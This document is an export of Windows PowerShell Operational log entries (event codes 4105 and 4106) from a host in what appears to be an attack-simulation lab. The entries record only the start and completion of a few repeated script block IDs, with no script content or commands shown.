Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648866
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648865
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648884
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648883
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648881
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648880
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648879
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648878
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648877
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648875
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648894
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648893
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648892
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648891
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648890
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648889
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648887
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648885
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648904
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648903
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648901
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648900
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648899
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648897
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648896
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648895
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648914
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648913
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648911
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648910
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648909
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648908
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648907
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648905
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648924
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648923
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648922
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648921
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648920
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648919
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648917
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648916
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648915
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:23:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
